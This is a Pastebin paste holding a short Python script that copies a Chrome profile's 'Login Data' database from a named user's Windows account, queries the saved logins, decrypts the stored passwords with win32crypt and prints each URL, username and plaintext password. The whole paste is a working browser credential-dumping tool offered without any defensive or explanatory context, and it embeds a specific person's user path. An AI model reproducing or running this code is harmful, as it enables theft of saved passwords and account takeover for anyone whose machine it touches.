Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import sqlite3
- import win32crypt
- import sys
- import shutil
- file_path= "C:/Users/mithilesh.singh/AppData/Local/Google/Chrome/User Data/Profile 3/Login Data"
- shutil.copy(file_path, "C:/Users/mithilesh.singh/Desktop/")
- # Connect to the Database
- try:
- conn = sqlite3.connect("Login Data")
- cursor = conn.cursor()
- except Exception as e:
- print ('[-] %s' % (e) )
- sys.exit(1)
- # Get the results
- try:
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- except Exception as e:
- print( '[-] %s' % (e))
- sys.exit(1)
- data = cursor.fetchall()
- if len(data) > 0:
- for result in data:
- # Decrypt the Password
- try:
- password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
- except Exception as e:
- print( '[-] %s' % (e))
- pass
- if password:
- print ("[+] URL: %s Username: %s Password: %s" %(result[0], result[1], password))
- else:
- print ('[-] No results returned from query')
- sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement